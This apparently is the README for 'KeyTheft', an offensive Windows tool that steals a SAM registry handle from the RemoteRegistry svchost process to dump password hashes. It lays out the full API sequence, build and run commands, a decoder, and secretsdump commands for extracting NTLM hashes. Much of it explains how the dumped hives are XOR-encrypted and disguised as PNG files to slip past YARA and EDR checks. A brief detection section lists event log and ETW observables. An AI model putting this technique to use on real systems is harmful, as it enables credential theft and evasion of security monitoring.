SAM dump via RemoteRegistry handle theft, outputs XOR-encrypted PNG files with zero regf signature on disk.
KeyTheft dumps the Windows SAM database by stealing a registry KEY handle from the RemoteRegistry service's svchost.exe process. The attacking process never opens any SAM registry key. Output files are disguised as PNG images XOR-encrypted with a CSPRNG-generated key, prepended with a valid PNG header. No regf magic bytes ever touch disk.
This technique is distinct from every published SAM dump method:
| Technique | Primitive | Touches lsass? | Opens SAM key? | regf on disk? |
|---|---|---|---|---|
reg save HKLM\SAM |
NtOpenKey → NtSaveKey | No | Yes | Yes |
| secretsdump (SAMR) | SamrConnect RPC | No | Yes (via RPC) | Yes |
| Volume Shadow Copy | IVssBackupComponents | No | Yes (file read) | Yes |
Raw NTFS (\\.\C:) |
MFT parse | No | No (but raw volume) | Yes |
| Mimikatz (lsass dump) | MiniDumpWriteDump | Yes | No | N/A |
| KeyTheft | NtDuplicateObject → NtSaveKey | No | No | No |
┌─────────────────────┐
│ RemoteRegistry │
│ svchost.exe │
│ (SYSTEM, non-PPL) │
│ │
│ Handle 0x238 ──────┼──► \REGISTRY\MACHINE\SAM
└──────▲──────────────┘ (KEY object)
│
NtDuplicateObject
(PROCESS_DUP_HANDLE)
│
┌──────┴──────────────┐
│ KeyTheft.exe │
│ (attacker, admin) │
└──────┬──────────────┘
│
NtSaveKey
│
┌──────▼──────────────┐
│ .tmp (plaintext) │──► XOR encrypt ──► sam.png
│ (deleted on disk) │ (PNG header + ciphertext)
└─────────────────────┘
- Start RemoteRegistry a non-PPL service running as SYSTEM inside
svchost.exe RegConnectRegistryW("\\\\localhost", HKLM)loopback RPC connectionRegOpenKeyExW(hRemote, "SAM", KEY_READ)forces the svchost process to callNtOpenKey(\REGISTRY\MACHINE\SAM)internally, creating a KEY handle in its handle table- Enumerate system handles
NtQuerySystemInformation(SystemExtendedHandleInformation), filter for Key objects in the svchost PID NtDuplicateObjectsteal the SAM KEY handle from svchost into our process (svchost is not PPL, soOpenProcess(PROCESS_DUP_HANDLE)succeeds)NtSaveKey(stolen_handle, temp_file)dump the entire SAM hive subtree to a.tmpfileDisguiseAsImageread the plaintext hive, XOR encrypt with a 16-byte CSPRNG key (RtlGenRandom), prepend a valid PNG header (8-byte signature + 25-byte IHDR), write as.png, delete the.tmp
NtSaveKey operates in kernel mode. It checks:
- The handle type is Key ✓
- The caller has
SeBackupPrivilege✓ (we enable it)
It then walks the entire key subtree in kernel mode, bypassing individual subkey DACLs. The subkeys under SAM\SAM\Domains\Account are SYSTEM-only, but NtSaveKey ignores this, it reads from the Configuration Manager's in-memory hive data, not through the access-check path.
Output files pass file/YARA/EDR signature checks as PNG images:
Offset Content
────── ─────────────────────────────────────
0x00 89 50 4E 47 0D 0A 1A 0A PNG signature (8 bytes)
0x08 00 00 00 0D 49 48 44 52 ... IHDR chunk — 1×1 RGBA (25 bytes)
0x21 XX XX XX XX XX XX XX XX ... XOR-encrypted hive data (N bytes)
Properties:
- Valid PNG magic (
89 50 4E 47)filecommand reports "PNG image data" - Valid IHDR chunk with correct CRC passes structural validation
- No
regfbytes anywhere in the file, YARA rules for registry hives won't match - XOR key generated by
RtlGenRandom(CSPRNG) not stored in the file, only printed to console - Without the key, encrypted payload is indistinguishable from random data
# MSVC
cl /W4 /O2 KeyTheft.c advapi32.lib
# MinGW (MSYS2)
gcc -O2 -municode -o KeyTheft.exe KeyTheft.c -ladvapi32KeyTheft.exe [sam_output.png] [system_output.png]
Use decode.py to strip the PNG header and XOR decrypt back to standard .hiv format:
python3 decode.py <xor_key_hex> sam.png system.pngKeyTheft Decoder, restore PNG-disguised hive files
[+] sam.png: valid registry hive (regf magic confirmed)
-> sam.hiv (49,152 bytes)
[+] system.png: valid registry hive (regf magic confirmed)
-> system.hiv (16,732,160 bytes)
secretsdump.py -sam sam.hiv -system system.hiv LOCAL
Extract NTLM hashes with impacket:
secretsdump.py -sam sam.hiv -system system.hiv LOCALOr use the included sam_extract.py (standalone, no dependencies):
python3 sam_extract.py system.hiv sam.hiv| File | Description |
|---|---|
KeyTheft.c |
Main PoC, handle theft + XOR/PNG output |
decode.py |
Decoder: PNG → .hiv (strips header, XOR decrypts, verifies regf) |
sam_extract.py |
Standalone SAM hash extractor (pure Python, no impacket needed) |
| Observable | Source |
|---|---|
| RemoteRegistry service started | Event Log: System 7036 |
OpenProcess(svchost, 0x40) |
Sysmon Event 10 (TargetImage: svchost.exe) |
| Handle duplication from svchost | ETW: Microsoft-Windows-Kernel-Audit-API-Calls |
.png file created (benign-looking) |
Sysmon Event 11 (FileCreate) blends with normal activity |
| NtSaveKey call | ETW: Microsoft-Windows-Kernel-Registry |
Most EDR and YARA rules for SAM dump artifacts rely on:
- File extension (
.hiv,.save,.dat) output is.png regfmagic bytes at offset 0, output starts with89 50 4E 47(PNG signature)- Registry hive structure patterns, payload is XOR-encrypted, no recognizable structure
The .tmp intermediate file (plaintext hive) exists only in memory-mapped I/O between NtSaveKey and DisguiseAsImage, and is deleted immediately after encryption. Race window is minimal.
- Windows 10 / 11 (tested on Win11 26200)
- Administrator privileges (for SeDebugPrivilege + SeBackupPrivilege)
- RemoteRegistry service must be available (installed by default, usually set to Manual start)
- If RemoteRegistry service is disabled (not just stopped), it cannot be started. Some hardened environments disable it via GPO.
SeBackupPrivilegeis required regardless of handle source, this is checked byNtSaveKeyin kernel mode.- The technique generates a service start event for RemoteRegistry, which is unusual in environments where this service is normally stopped.